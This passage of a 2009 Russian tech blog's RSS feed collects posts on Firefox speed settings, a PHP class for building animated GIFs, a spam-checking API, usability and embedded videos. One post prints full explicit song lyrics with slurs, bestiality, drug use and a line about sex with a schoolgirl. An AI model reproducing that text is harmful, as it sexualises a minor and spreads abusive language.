<p><object width="470" height="353" data="http://video.rutube.ru/2cbe4c8053c603653bd16ce55d103049" type="application/x-shockwave-flash"><param name="wmode" value="window" /><param name="allowFullScreen" value="true" /><param name="flashVars" value="uid=2345083" /><param name="src" value="http://video.rutube.ru/2cbe4c8053c603653bd16ce55d103049" /><param name="flashvars" value="uid=2345083" /><param name="allowfullscreen" value="true" /></object></p>
]]></content:encoded>
			<wfw:commentRss>http://saintist.ru/2009/05/14/vospriyatie-poiska/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>докладом «Юзабилити и Коммуникации»</title>
		<link>http://saintist.ru/2009/05/14/dokladom-yuzabiliti-i-kommunikacii/</link>
		<comments>http://saintist.ru/2009/05/14/dokladom-yuzabiliti-i-kommunikacii/#comments</comments>
		<pubDate>Thu, 14 May 2009 07:34:41 +0000</pubDate>
		<dc:creator>saintist</dc:creator>
				<category><![CDATA[Юзабилити]]></category>

		<guid isPermaLink="false">http://saintist.ru/?p=332</guid>
		<description><![CDATA[докладом «Юзабилити и Коммуникации» с конференции «PR в Интернете» Длительность 38 минут. USABILITYLAB предлагает рассматривать три ключевых аспектов коммуникации: Вовлечение (борьба с безразличием) &#8212; первичная мотивация человека обратиться к тому или иному продукту. Концентрация (борьба с отвлечением) &#8212; обеспечение устойчивого канала коммуникации. Действие (призыв к действию и его реализация) &#8212; результат и критерий того, насколько [...]]]></description>
			<content:encoded><![CDATA[<p> докладом «Юзабилити и Коммуникации» с конференции «PR в Интернете»</p>
<p><object width="470" height="353" data="http://video.rutube.ru/3ba44a3d4e7d476d993bf63973e53e6a" type="application/x-shockwave-flash"><param name="wmode" value="window" /><param name="allowFullScreen" value="true" /><param name="flashVars" value="uid=2345083" /><param name="src" value="http://video.rutube.ru/3ba44a3d4e7d476d993bf63973e53e6a" /><param name="flashvars" value="uid=2345083" /><param name="allowfullscreen" value="true" /></object></p>
<p>Длительность 38 минут.</p>
<p>USABILITYLAB предлагает рассматривать три ключевых аспектов коммуникации:</p>
<p><strong>Вовлечение (борьба с безразличием)</strong> &#8212; первичная мотивация человека обратиться к тому или иному продукту.<br />
<strong>Концентрация (борьба с отвлечением)</strong> &#8212; обеспечение устойчивого канала коммуникации.<br />
<strong>Действие (призыв к действию и его реализация)</strong> &#8212; результат и критерий того, насколько успешна коммуникация.</p>
]]></content:encoded>
			<wfw:commentRss>http://saintist.ru/2009/05/14/dokladom-yuzabiliti-i-kommunikacii/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Copenhagen User Experience вариант интерфейса операционной системы</title>
		<link>http://saintist.ru/2009/05/13/copenhagen-user-experience/</link>
		<comments>http://saintist.ru/2009/05/13/copenhagen-user-experience/#comments</comments>
		<pubDate>Wed, 13 May 2009 19:42:27 +0000</pubDate>
		<dc:creator>saintist</dc:creator>
				<category><![CDATA[notes]]></category>

		<guid isPermaLink="false">http://saintist.ru/?p=329</guid>
		<description><![CDATA[Вот что датский дизайнер Куллен Дудас думает относительно концепции пользовательского интерфейса для Windows Креативно.]]></description>
			<content:encoded><![CDATA[<p>Вот что датский дизайнер Куллен Дудас думает относительно  концепции  пользовательского интерфейса для  Windows</p>
<p><object width="400" height="220"><param name="allowfullscreen" value="true" /><param name="allowscriptaccess" value="always" /><param name="movie" value="http://vimeo.com/moogaloop.swf?clip_id=4255076&amp;server=vimeo.com&amp;show_title=1&amp;show_byline=1&amp;show_portrait=0&amp;color=&amp;fullscreen=1" /><embed src="http://vimeo.com/moogaloop.swf?clip_id=4255076&amp;server=vimeo.com&amp;show_title=1&amp;show_byline=1&amp;show_portrait=0&amp;color=&amp;fullscreen=1" type="application/x-shockwave-flash" allowfullscreen="true" allowscriptaccess="always" width="400" height="220"></embed></object>
</p>
<p>Креативно.</p>
]]></content:encoded>
			<wfw:commentRss>http://saintist.ru/2009/05/13/copenhagen-user-experience/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>Firefox увеличить скорость загрузки  страниц</title>
		<link>http://saintist.ru/2009/05/13/fast-speed-firefox/</link>
		<comments>http://saintist.ru/2009/05/13/fast-speed-firefox/#comments</comments>
		<pubDate>Wed, 13 May 2009 19:16:29 +0000</pubDate>
		<dc:creator>saintist</dc:creator>
				<category><![CDATA[Firefox]]></category>

		<guid isPermaLink="false">http://saintist.ru/?p=325</guid>
		<description><![CDATA[Протокол HTTP версии 1.1 имеет возможность в рамках одного TCP-соединения делать несколько запросов веб-серверу. Учитывая, что страницы сайтов содержат большое количество изображений и объектов, для каждого объекта время установления TCP-соединения играет значительную роль. 1. Набрав в командной строке about:config открываем настройки браузера. 2. Изменяем параметры: network.http.pipelining — true Эти опции установлены по умолчанию и разрешают [...]]]></description>
			<content:encoded><![CDATA[<p style="text-align: center;"><a href="http://saintist.ru/wp-content/uploads/2009/05/firefox2005-icon.png"><img class="size-full wp-image-326 aligncenter" title="firefox2005-icon" src="http://saintist.ru/wp-content/uploads/2009/05/firefox2005-icon.png" alt="firefox2005-icon" width="256" height="256" /></a></p>
<p>Протокол  HTTP версии 1.1 имеет  возможность в рамках одного TCP-соединения делать несколько запросов веб-серверу.</p>
<p>Учитывая, что страницы сайтов содержат большое количество изображений и объектов, для каждого объекта время установления TCP-соединения  играет значительную роль.</p>
<p>1. Набрав в командной строке about:config открываем настройки браузера.<br />
<span id="more-325"></span><br />
2. Изменяем параметры:</p>
<p><strong>network.http.pipelining — true</strong></p>
<p>Эти опции установлены по умолчанию и разрешают Firefox использовать HTTP версии 1.1, включая возможность делать несколько запросов в соединении.</p>
<p><strong>network.http.proxy.pipelining — true </strong></p>
<p>Эти опции предписывают Firefox делать несколько запросов в соединении, не дожидаясь ответа сервера.</p>
<p><strong>network.http.pipelining.maxrequests — 8</strong></p>
<p>Эта опция задает максимальное количество запросов, которое может быть сделано в соединении, от 1 до 8. Указывать значение более 8 бессмысленно, так как это физически не поддерживается Firefox&#8217;ом и эффекта иметь не будет.</p>
<p>правой кнопкой мыши и создаем новый параметр <strong>nglayout.initialpaint.delay  — 0 </strong></p>
<p>Эта опция уменьшает до нуля задержку перед отрисовкой (рендерингом) информации, полученной от веб-сервера, что позволить увидеть запрошенную страницу чуть быстрее.</p>
]]></content:encoded>
			<wfw:commentRss>http://saintist.ru/2009/05/13/fast-speed-firefox/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>MAC or PC ))</title>
		<link>http://saintist.ru/2009/05/13/mac-or-pc/</link>
		<comments>http://saintist.ru/2009/05/13/mac-or-pc/#comments</comments>
		<pubDate>Wed, 13 May 2009 10:50:31 +0000</pubDate>
		<dc:creator>saintist</dc:creator>
				<category><![CDATA[YouTube и нетолько]]></category>

		<guid isPermaLink="false">http://saintist.ru/?p=320</guid>
		<description><![CDATA[Что лучше MAC или PC?]]></description>
			<content:encoded><![CDATA[<p><object type="application/x-shockwave-flash" style="width:425px; height:355px;" data="http://www.youtube.com/v/Jkrn6ecxthM&amp;rel=0&amp;color1=0xd6d6d6&amp;color2=0xf0f0f0"><param name="movie" value="http://www.youtube.com/v/Jkrn6ecxthM&amp;rel=0&amp;color1=0xd6d6d6&amp;color2=0xf0f0f0" /></object><br />
Что лучше MAC или PC?</p>
]]></content:encoded>
			<wfw:commentRss>http://saintist.ru/2009/05/13/mac-or-pc/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>анимированный GIF  средствами php</title>
		<link>http://saintist.ru/2009/05/12/316/</link>
		<comments>http://saintist.ru/2009/05/12/316/#comments</comments>
		<pubDate>Tue, 12 May 2009 18:42:47 +0000</pubDate>
		<dc:creator>saintist</dc:creator>
				<category><![CDATA[php]]></category>

		<guid isPermaLink="false">http://saintist.ru/?p=316</guid>
		<description><![CDATA[Нашел неплохой класс для создания анимированных gif с помощью php. Вот код самого класса: /* ::::::::::::::::::::::::::::::::::::::::::::::::::::::::::: :: :: GIFEncoder Version 2.0 by L?szl? Zsidi, http://gifs.hu :: :: This class is a rewritten 'GifMerge.class.php' version. :: :: Modification: :: - Simplified and easy code, :: - Ultra fast encoding, :: - Built-in errors, :: - Stable [...]]]></description>
			<content:encoded><![CDATA[<p>Нашел  неплохой класс для создания анимированных  gif с помощью php.</p>
<p style="text-align: center;"><a href="http://saintist.ru/wp-content/uploads/2009/05/av-73189.gif"><img class="size-full wp-image-317 aligncenter" title="av-73189" src="http://saintist.ru/wp-content/uploads/2009/05/av-73189.gif" alt="av-73189" width="80" height="80" /></a></p>
<p>Вот код самого класса:<br />
<span id="more-316"></span><br />
<code><br />
/*<br />
:::::::::::::::::::::::::::::::::::::::::::::::::::::::::::<br />
::<br />
::    GIFEncoder Version 2.0 by L?szl? Zsidi, http://gifs.hu<br />
::<br />
::    This class is a rewritten 'GifMerge.class.php' version.<br />
::<br />
::  Modification:<br />
::   - Simplified and easy code,<br />
::   - Ultra fast encoding,<br />
::   - Built-in errors,<br />
::   - Stable working<br />
::<br />
::<br />
::    Updated at 2007. 02. 13. '00.05.AM'<br />
::<br />
::<br />
::<br />
::  Try on-line GIFBuilder Form demo based on GIFEncoder.<br />
::<br />
::  http://gifs.hu/phpclasses/demos/GifBuilder/<br />
::<br />
:::::::::::::::::::::::::::::::::::::::::::::::::::::::::::<br />
*/ </code></p>
<p><code>Class GIFEncoder {<br />
var $GIF = "GIF89a";        /* GIF header 6 bytes    */<br />
var $VER = "GIFEncoder V2.05";    /* Encoder version        */</code></p>
<p><code>var $BUF = Array ( );<br />
var $LOP =  0;<br />
var $DIS =  2;<br />
var $COL = -1;<br />
var $IMG = -1;</p>
<p>var $ERR = Array (<br />
ERR00=&gt;"Does not supported function for only one image!",<br />
ERR01=&gt;"Source is not a GIF image!",<br />
ERR02=&gt;"Unintelligible flag ",<br />
ERR03=&gt;"Does not make animation from animated GIF source",<br />
);</p>
<p>/*<br />
:::::::::::::::::::::::::::::::::::::::::::::::::::<br />
::<br />
::    GIFEncoder...<br />
::<br />
*/<br />
function GIFEncoder    (<br />
$GIF_src, $GIF_dly, $GIF_lop, $GIF_dis,<br />
$GIF_red, $GIF_grn, $GIF_blu, $GIF_mod<br />
) {<br />
if ( ! is_array ( $GIF_src ) &amp;&amp; ! is_array ( $GIF_tim ) ) {<br />
printf    ( "%s: %s", $this-&gt;VER, $this-&gt;ERR [ 'ERR00' ] );<br />
exit    ( 0 );<br />
}<br />
$this-&gt;LOP = ( $GIF_lop &gt; -1 ) ? $GIF_lop : 0;<br />
$this-&gt;DIS = ( $GIF_dis &gt; -1 ) ? ( ( $GIF_dis &lt; 3 ) ? $GIF_dis : 3 ) : 2;<br />
$this-&gt;COL = ( $GIF_red &gt; -1 &amp;&amp; $GIF_grn &gt; -1 &amp;&amp; $GIF_blu &gt; -1 ) ?<br />
( $GIF_red | ( $GIF_grn &lt;&lt; 8 ) | ( $GIF_blu &lt;&lt; 16 ) ) : -1;</p>
<p>for ( $i = 0; $i &lt; count ( $GIF_src ); $i++ ) {<br />
if ( strToLower ( $GIF_mod ) == "url" ) {<br />
$this-&gt;BUF [ ] = fread ( fopen ( $GIF_src [ $i ], "rb" ), filesize ( $GIF_src [ $i ] ) );<br />
}<br />
else if ( strToLower ( $GIF_mod ) == "bin" ) {<br />
$this-&gt;BUF [ ] = $GIF_src [ $i ];<br />
}<br />
else {<br />
printf    ( "%s: %s ( %s )!", $this-&gt;VER, $this-&gt;ERR [ 'ERR02' ], $GIF_mod );<br />
exit    ( 0 );<br />
}<br />
if ( substr ( $this-&gt;BUF [ $i ], 0, 6 ) != "GIF87a" &amp;&amp; substr ( $this-&gt;BUF [ $i ], 0, 6 ) != "GIF89a" ) {<br />
printf    ( "%s: %d %s", $this-&gt;VER, $i, $this-&gt;ERR [ 'ERR01' ] );<br />
exit    ( 0 );<br />
}<br />
for ( $j = ( 13 + 3 * ( 2 &lt;&lt; ( ord ( $this-&gt;BUF [ $i ] { 10 } ) &amp; 0x07 ) ) ), $k = TRUE; $k; $j++ ) {<br />
switch ( $this-&gt;BUF [ $i ] { $j } ) {<br />
case "!":<br />
if ( ( substr ( $this-&gt;BUF [ $i ], ( $j + 3 ), 8 ) ) == "NETSCAPE" ) {<br />
printf    ( "%s: %s ( %s source )!", $this-&gt;VER, $this-&gt;ERR [ 'ERR03' ], ( $i + 1 ) );<br />
exit    ( 0 );<br />
}<br />
break;<br />
case ";":<br />
$k = FALSE;<br />
break;<br />
}<br />
}<br />
}<br />
GIFEncoder::GIFAddHeader ( );<br />
for ( $i = 0; $i &lt; count ( $this-&gt;BUF ); $i++ ) {<br />
GIFEncoder::GIFAddFrames ( $i, $GIF_dly [ $i ] );<br />
}<br />
GIFEncoder::GIFAddFooter ( );<br />
}<br />
/*<br />
:::::::::::::::::::::::::::::::::::::::::::::::::::<br />
::<br />
::    GIFAddHeader...<br />
::<br />
*/<br />
function GIFAddHeader ( ) {<br />
$cmap = 0;</p>
<p>if ( ord ( $this-&gt;BUF [ 0 ] { 10 } ) &amp; 0x80 ) {<br />
$cmap = 3 * ( 2 &lt;&lt; ( ord ( $this-&gt;BUF [ 0 ] { 10 } ) &amp; 0x07 ) );</p>
<p>$this-&gt;GIF .= substr ( $this-&gt;BUF [ 0 ], 6, 7        );<br />
$this-&gt;GIF .= substr ( $this-&gt;BUF [ 0 ], 13, $cmap    );<br />
$this-&gt;GIF .= "!\377\13NETSCAPE2.0\3\1" . GIFEncoder::GIFWord ( $this-&gt;LOP ) . "\0";<br />
}<br />
}<br />
/*<br />
:::::::::::::::::::::::::::::::::::::::::::::::::::<br />
::<br />
::    GIFAddFrames...<br />
::<br />
*/<br />
function GIFAddFrames ( $i, $d ) {</p>
<p>$Locals_str = 13 + 3 * ( 2 &lt;&lt; ( ord ( $this-&gt;BUF [ $i ] { 10 } ) &amp; 0x07 ) );</p>
<p>$Locals_end = strlen ( $this-&gt;BUF [ $i ] ) - $Locals_str - 1;<br />
$Locals_tmp = substr ( $this-&gt;BUF [ $i ], $Locals_str, $Locals_end );</p>
<p>$Global_len = 2 &lt;&lt; ( ord ( $this-&gt;BUF [ 0  ] { 10 } ) &amp; 0x07 );<br />
$Locals_len = 2 &lt;&lt; ( ord ( $this-&gt;BUF [ $i ] { 10 } ) &amp; 0x07 );</p>
<p>$Global_rgb = substr ( $this-&gt;BUF [ 0  ], 13,<br />
3 * ( 2 &lt;&lt; ( ord ( $this-&gt;BUF [ 0  ] { 10 } ) &amp; 0x07 ) ) );<br />
$Locals_rgb = substr ( $this-&gt;BUF [ $i ], 13,<br />
3 * ( 2 &lt;&lt; ( ord ( $this-&gt;BUF [ $i ] { 10 } ) &amp; 0x07 ) ) );</p>
<p>$Locals_ext = "!\xF9\x04" . chr ( ( $this-&gt;DIS &lt;&lt; 2 ) + 0 ) .<br />
chr ( ( $d &gt;&gt; 0 ) &amp; 0xFF ) . chr ( ( $d &gt;&gt; 8 ) &amp; 0xFF ) . "\x0\x0";</p>
<p>if ( $this-&gt;COL &gt; -1 &amp;&amp; ord ( $this-&gt;BUF [ $i ] { 10 } ) &amp; 0x80 ) {<br />
for ( $j = 0; $j &lt; ( 2 &lt;&lt; ( ord ( $this-&gt;BUF [ $i ] { 10 } ) &amp; 0x07 ) ); $j++ ) {<br />
if    (<br />
ord ( $Locals_rgb { 3 * $j + 0 } ) == ( ( $this-&gt;COL &gt;&gt; 16 ) &amp; 0xFF ) &amp;&amp;<br />
ord ( $Locals_rgb { 3 * $j + 1 } ) == ( ( $this-&gt;COL &gt;&gt;  8 ) &amp; 0xFF ) &amp;&amp;<br />
ord ( $Locals_rgb { 3 * $j + 2 } ) == ( ( $this-&gt;COL &gt;&gt;  0 ) &amp; 0xFF )<br />
) {<br />
$Locals_ext = "!\xF9\x04" . chr ( ( $this-&gt;DIS &lt;&lt; 2 ) + 1 ) .<br />
chr ( ( $d &gt;&gt; 0 ) &amp; 0xFF ) . chr ( ( $d &gt;&gt; 8 ) &amp; 0xFF ) . chr ( $j ) . "\x0";<br />
break;<br />
}<br />
}<br />
}<br />
switch ( $Locals_tmp { 0 } ) {<br />
case "!":<br />
$Locals_img = substr ( $Locals_tmp, 8, 10 );<br />
$Locals_tmp = substr ( $Locals_tmp, 18, strlen ( $Locals_tmp ) - 18 );<br />
break;<br />
case ",":<br />
$Locals_img = substr ( $Locals_tmp, 0, 10 );<br />
$Locals_tmp = substr ( $Locals_tmp, 10, strlen ( $Locals_tmp ) - 10 );<br />
break;<br />
}<br />
if ( ord ( $this-&gt;BUF [ $i ] { 10 } ) &amp; 0x80 &amp;&amp; $this-&gt;IMG &gt; -1 ) {<br />
if ( $Global_len == $Locals_len ) {<br />
if ( GIFEncoder::GIFBlockCompare ( $Global_rgb, $Locals_rgb, $Global_len ) ) {<br />
$this-&gt;GIF .= ( $Locals_ext . $Locals_img . $Locals_tmp );<br />
}<br />
else {<br />
$byte  = ord ( $Locals_img { 9 } );<br />
$byte |= 0x80;<br />
$byte &amp;= 0xF8;<br />
$byte |= ( ord ( $this-&gt;BUF [ 0 ] { 10 } ) &amp; 0x07 );<br />
$Locals_img { 9 } = chr ( $byte );<br />
$this-&gt;GIF .= ( $Locals_ext . $Locals_img . $Locals_rgb . $Locals_tmp );<br />
}<br />
}<br />
else {<br />
$byte  = ord ( $Locals_img { 9 } );<br />
$byte |= 0x80;<br />
$byte &amp;= 0xF8;<br />
$byte |= ( ord ( $this-&gt;BUF [ $i ] { 10 } ) &amp; 0x07 );<br />
$Locals_img { 9 } = chr ( $byte );<br />
$this-&gt;GIF .= ( $Locals_ext . $Locals_img . $Locals_rgb . $Locals_tmp );<br />
}<br />
}<br />
else {<br />
$this-&gt;GIF .= ( $Locals_ext . $Locals_img . $Locals_tmp );<br />
}<br />
$this-&gt;IMG  = 1;<br />
}<br />
/*<br />
:::::::::::::::::::::::::::::::::::::::::::::::::::<br />
::<br />
::    GIFAddFooter...<br />
::<br />
*/<br />
function GIFAddFooter ( ) {<br />
$this-&gt;GIF .= ";";<br />
}<br />
/*<br />
:::::::::::::::::::::::::::::::::::::::::::::::::::<br />
::<br />
::    GIFBlockCompare...<br />
::<br />
*/<br />
function GIFBlockCompare ( $GlobalBlock, $LocalBlock, $Len ) {</p>
<p>for ( $i = 0; $i &lt; $Len; $i++ ) {<br />
if    (<br />
$GlobalBlock { 3 * $i + 0 } != $LocalBlock { 3 * $i + 0 } ||<br />
$GlobalBlock { 3 * $i + 1 } != $LocalBlock { 3 * $i + 1 } ||<br />
$GlobalBlock { 3 * $i + 2 } != $LocalBlock { 3 * $i + 2 }<br />
) {<br />
return ( 0 );<br />
}<br />
}</p>
<p>return ( 1 );<br />
}<br />
/*<br />
:::::::::::::::::::::::::::::::::::::::::::::::::::<br />
::<br />
::    GIFWord...<br />
::<br />
*/<br />
function GIFWord ( $int ) {</p>
<p></code></p>
<p><code> return ( chr ( $int &amp; 0xFF ) . chr ( ( $int &gt;&gt; 8 ) &amp; 0xFF ) );<br />
}<br />
/*<br />
:::::::::::::::::::::::::::::::::::::::::::::::::::<br />
::<br />
::    GetAnimation...<br />
::<br />
*/<br />
function GetAnimation ( ) {<br />
return ( $this-&gt;GIF );<br />
}<br />
}<br />
?&gt;<br />
</code></p>
<p><strong>Пример сборки  из нескольких  фреймов  анимированного gif средаствами php</strong><br />
Допустим  файлы лежат в папке <strong>frames</strong></p>
<p><code><br />
include "GIFEncoder.class.php";<br />
/*<br />
Build a frames array from sources...<br />
*/<br />
if ( $dh = opendir ( "frames/" ) ) {<br />
while ( false !== ( $dat = readdir ( $dh ) ) ) {<br />
if ( $dat != "." &amp;&amp; $dat != ".." ) {<br />
$frames [ ] = "frames/$dat";<br />
$framed [ ] = 5;<br />
}<br />
}<br />
closedir ( $dh );<br />
}<br />
/*<br />
GIFEncoder constructor:<br />
=======================</p>
<p>image_stream = new GIFEncoder    (<br />
URL or Binary data    'Sources'<br />
int                    'Delay times'<br />
int                    'Animation loops'<br />
int                    'Disposal'<br />
int                    'Transparent red, green, blue colors'<br />
int                    'Source type'<br />
);<br />
*/<br />
$gif = new GIFEncoder    (<br />
$frames,<br />
$framed,<br />
0,<br />
2,<br />
0, 0, 0,<br />
"url"<br />
);<br />
/*<br />
Possibles outputs:<br />
==================</p>
<p>Output as GIF for browsers :<br />
- Header ( 'Content-type:image/gif' );<br />
Output as GIF for browsers with filename:<br />
- Header ( 'Content-disposition:Attachment;filename=myanimation.gif');<br />
Output as file to store into a specified file:<br />
- FWrite ( FOpen ( "myanimation.gif", "wb" ), $gif-&gt;GetAnimation ( ) );<br />
*/<br />
Header ( 'Content-type:image/gif' );<br />
echo    $gif-&gt;GetAnimation ( );<br />
?&gt;<br />
</code></p>
]]></content:encoded>
			<wfw:commentRss>http://saintist.ru/2009/05/12/316/feed/</wfw:commentRss>
		<slash:comments>4</slash:comments>
		</item>
		<item>
		<title>Новое поколение узбеков</title>
		<link>http://saintist.ru/2009/05/12/novoe-pokolenie-uzbekov/</link>
		<comments>http://saintist.ru/2009/05/12/novoe-pokolenie-uzbekov/#comments</comments>
		<pubDate>Tue, 12 May 2009 16:29:43 +0000</pubDate>
		<dc:creator>saintist</dc:creator>
				<category><![CDATA[Реклама]]></category>

		<guid isPermaLink="false">http://saintist.ru/?p=314</guid>
		<description><![CDATA[Вот так вот нужно делать рекламу авто нового поколения )]]></description>
			<content:encoded><![CDATA[<p><object type="application/x-shockwave-flash" style="width:425px; height:355px;" data="http://www.youtube.com/v/wcFFoIuISwY&amp;rel=0&amp;color1=0xd6d6d6&amp;color2=0xf0f0f0"><param name="movie" value="http://www.youtube.com/v/wcFFoIuISwY&amp;rel=0&amp;color1=0xd6d6d6&amp;color2=0xf0f0f0" /></object><br />
Вот так вот нужно делать рекламу авто нового поколения )</p>
]]></content:encoded>
			<wfw:commentRss>http://saintist.ru/2009/05/12/novoe-pokolenie-uzbekov/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Номерок блатной три семерочки</title>
		<link>http://saintist.ru/2009/05/12/nomerok-blatnoj-tri-semerochki/</link>
		<comments>http://saintist.ru/2009/05/12/nomerok-blatnoj-tri-semerochki/#comments</comments>
		<pubDate>Tue, 12 May 2009 16:18:04 +0000</pubDate>
		<dc:creator>saintist</dc:creator>
				<category><![CDATA[YouTube и нетолько]]></category>

		<guid isPermaLink="false">http://saintist.ru/?p=312</guid>
		<description><![CDATA[песня старая, клип раньше не видел]]></description>
			<content:encoded><![CDATA[<p><object type="application/x-shockwave-flash" style="width:425px; height:355px;" data="http://www.youtube.com/v/wm9shEC_kIo&amp;rel=0&amp;color1=0xd6d6d6&amp;color2=0xf0f0f0"><param name="movie" value="http://www.youtube.com/v/wm9shEC_kIo&amp;rel=0&amp;color1=0xd6d6d6&amp;color2=0xf0f0f0" /></object></p>
<p>песня старая, клип раньше не видел</p>
]]></content:encoded>
			<wfw:commentRss>http://saintist.ru/2009/05/12/nomerok-blatnoj-tri-semerochki/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Metallica So What (Завод)</title>
		<link>http://saintist.ru/2009/05/11/metallica-so-what-zavod/</link>
		<comments>http://saintist.ru/2009/05/11/metallica-so-what-zavod/#comments</comments>
		<pubDate>Mon, 11 May 2009 20:29:05 +0000</pubDate>
		<dc:creator>saintist</dc:creator>
				<category><![CDATA[YouTube и нетолько]]></category>

		<guid isPermaLink="false">http://saintist.ru/?p=305</guid>
		<description><![CDATA[Metallica So fucking what! Well I&#8217;ve been to Hastings, and I&#8217;ve been to Brighton. I&#8217;ve been to Eastport too. So what. So what. And I&#8217;ve been here, I&#8217;ve been there. I&#8217;ve been everying fucking where. So what. So what. So what, so what, you boring little cunt. Who cares. Who cares what you do. Yeah [...]]]></description>
			<content:encoded><![CDATA[<p><object type="application/x-shockwave-flash" style="width:425px; height:355px;" data="http://www.youtube.com/v/x3nf3V054c8&amp;rel=0&amp;color1=0xd6d6d6&amp;color2=0xf0f0f0"><param name="movie" value="http://www.youtube.com/v/x3nf3V054c8&amp;rel=0&amp;color1=0xd6d6d6&amp;color2=0xf0f0f0" /></object></p>
<p>Metallica </p>
<p>So fucking what!</p>
<p>Well I&#8217;ve been to Hastings,</p>
<p>and I&#8217;ve been to Brighton.<br />
<span id="more-305"></span><br />
I&#8217;ve been to Eastport too.</p>
<p>So what.</p>
<p>So what.</p>
<p>And I&#8217;ve been here,</p>
<p>I&#8217;ve been there.</p>
<p>I&#8217;ve been everying fucking where.</p>
<p>So what.</p>
<p>So what.</p>
<p>So what, so what, you boring little cunt.</p>
<p>    Who cares.</p>
<p>    Who cares what you do.</p>
<p>    Yeah who cares,</p>
<p>    Who cares about you, you, you, you, you.</p>
<p>Well I&#8217;ve fucked a queen.</p>
<p>I&#8217;ve fucked fucked.</p>
<p>I&#8217;ve even sucked an old man&#8217;s cock.</p>
<p>So what.</p>
<p>So what.</p>
<p>And I&#8217;ve fucked a sheep.</p>
<p>I&#8217;ve fucked a goat.</p>
<p>I rammed my cock right down his throat.</p>
<p>So what.</p>
<p>So what.</p>
<p>So what, so what, you boring little fuck.</p>
<p>    Who cares.</p>
<p>    Who cares what you do.</p>
<p>    And who cares,</p>
<p>    Who cares about you, you, you, you, you.</p>
<p>And I&#8217;ve drunk that,</p>
<p>I&#8217;ve drunk this.</p>
<p>I&#8217;ve spewed up on a pint of piss.</p>
<p>So what.</p>
<p>So what.</p>
<p>I&#8217;ve had scank,</p>
<p>I&#8217;ve have speed.</p>
<p>I&#8217;ve jacked up until I bleed.</p>
<p>So what.</p>
<p>So what.</p>
<p>So what, so what, you boring little cunt.</p>
<p>    Who cares.</p>
<p>    Who cares what you do.</p>
<p>    Yeah who cares,</p>
<p>    Who cares about you, you, you, you, you.</p>
<p>I&#8217;ve had crabs,</p>
<p>I&#8217;ve had lice,</p>
<p>I&#8217;ve had the clap and that ain&#8217;t nice.</p>
<p>So what.</p>
<p>So what.</p>
<p>I&#8217;ve fucked this,</p>
<p>I&#8217;ve fucked that.</p>
<p>I&#8217;ve even fucked a school girl&#8217;s twat.</p>
<p>So what.</p>
<p>So what.</p>
<p>So what, so what you boring little fuck.</p>
<p>    Who cares.</p>
<p>    Who cares what you do.</p>
<p>    And who cares,</p>
<p>    Who cares about you, you, you, you, you, you.</p>
<p>So fucking what!</p>
<p>Yeah!</p>
]]></content:encoded>
			<wfw:commentRss>http://saintist.ru/2009/05/11/metallica-so-what-zavod/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Антиспам (спамфильтр)</title>
		<link>http://saintist.ru/2009/05/10/antispam-spamfiltr/</link>
		<comments>http://saintist.ru/2009/05/10/antispam-spamfiltr/#comments</comments>
		<pubDate>Sun, 10 May 2009 19:16:46 +0000</pubDate>
		<dc:creator>saintist</dc:creator>
				<category><![CDATA[notes]]></category>
		<category><![CDATA[phpbb3]]></category>

		<guid isPermaLink="false">http://saintist.ru/?p=298</guid>
		<description><![CDATA[Как известно сайты посещают не только поисковый роботы но и спамботы. Эти самые спамботы минимум что делают активно &#171;размножают комменты&#187;. Нашел неплохой сервис антиспама www.stopforumspam.com Содержит базу спамеров, эдакий спамфильтр. Позволяет проверить является ли посетитель спамботом по трем параметрам: IP, юзернейму и email. Для этого достаточно ввести в форму один из выбранных параметров и получиш [...]]]></description>
			<content:encoded><![CDATA[<p>Как известно  сайты посещают не только  поисковый роботы но и  спамботы. Эти самые спамботы минимум что делают  активно  &#171;размножают комменты&#187;.<br />
Нашел  неплохой сервис антиспама <strong>www.stopforumspam.com</strong></p>
<p style="text-align: center;"><a href="http://saintist.ru/wp-content/uploads/2009/05/stopforumspam.png"><img class="size-full wp-image-299 aligncenter" title="stopforumspam" src="http://saintist.ru/wp-content/uploads/2009/05/stopforumspam.png" alt="stopforumspam" width="50" height="50" /></a></p>
<p>Содержит базу <span id="more-298"></span> спамеров, эдакий <strong>спамфильтр</strong>. Позволяет  проверить является ли посетитель спамботом по трем параметрам: IP, юзернейму и  email. Для этого достаточно  ввести  в форму один  из  выбранных  параметров и получиш  ответ.<br />
Также поддерживает API позволяющие  реализовать проверку входящих  параметров у себя на сайте, собрав простой спам фильтр.<br />
Также присутствует список  спамдоменов.</p>
<p>Все довольно просто: нужно  лишь отправить GET запрос нужного формата</p>
<p>http://www.stopforumspam.com/api?ip=91.186.18.61</p>
<p>http://www.stopforumspam.com/api?email=g2fsehis5e@mail.ru</p>
<p>http://www.stopforumspam.com/api?username=MariFoogwoogy</p>
<p>ответ приходит в виде XML</p>
<pre class="code">&lt;response success="true"&gt;
     &lt;type&gt;ip&lt;/type&gt;
     &lt;appears&gt;yes&lt;/appears&gt;
     &lt;lastseen&gt;2007-09-18 05:48:53&lt;/lastseen&gt;
     &lt;frequency&gt;2&lt;/frequency&gt;
&lt;/response&gt;<span style="font-family: Georgia; line-height: 19px; white-space: normal; font-size: 13px;"> </span></pre>
<pre class="code"><span style="font-family: Georgia; font-size: small;"><span style="line-height: 19px; white-space: normal;">
</span></span></pre>
<pre class="code"><span style="font-family: Georgia; font-size: medium;"><span style="line-height: 19px; white-space: normal;">
</span></span></pre>
<p>Для добавления  информации о спамерах  в базу сервиса можно получить персональный API KEY</p>
]]></content:encoded>
			<wfw:commentRss>http://saintist.ru/2009/05/10/antispam-spamfiltr/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>SEO и Яндекс</title>
		<link>http://saintist.ru/2009/05/10/seo-i-yandeks/</link>
		<comments>http://saintist.ru/2009/05/10/seo-i-yandeks/#comments</comments>
		<pubDate>Sun, 10 May 2009 13:46:31 +0000</pubDate>
		<dc:creator>saintist</dc:creator>
				<category><![CDATA[SEO]]></category>

